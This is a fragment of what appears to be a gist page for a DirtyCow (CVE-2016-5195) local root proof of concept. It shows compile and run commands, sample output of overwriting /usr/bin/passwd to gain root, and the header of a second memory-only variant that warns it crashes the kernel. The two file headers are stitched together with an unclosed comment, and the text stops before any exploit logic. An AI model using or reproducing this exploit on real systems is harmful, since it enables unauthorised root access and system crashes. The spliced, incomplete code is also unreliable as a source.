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Created October 21, 2016 21:05 — forked from rverton/cowroot.c
CVE-2016-5195 (DirtyCow) Local Root PoC
/*
* (un)comment correct payload first (x86 or x64)!
*
* $ gcc cowroot.c -o cowroot -pthread
* $ ./cowroot
* DirtyCow root privilege escalation
* Backing up /usr/bin/passwd.. to /tmp/bak
* Size of binary: 57048
* Racing, this may take a while..
* /usr/bin/passwd overwritten
/*
* CVE-2016-5195 dirtypoc
*
* This PoC is memory only and doesn't write anything on the filesystem.
* /!\ Beware, it triggers a kernel crash a few minutes.
*
* gcc -Wall -o dirtycow-mem dirtycow-mem.c -ldl -lpthread
*/
#define _GNU_SOURCE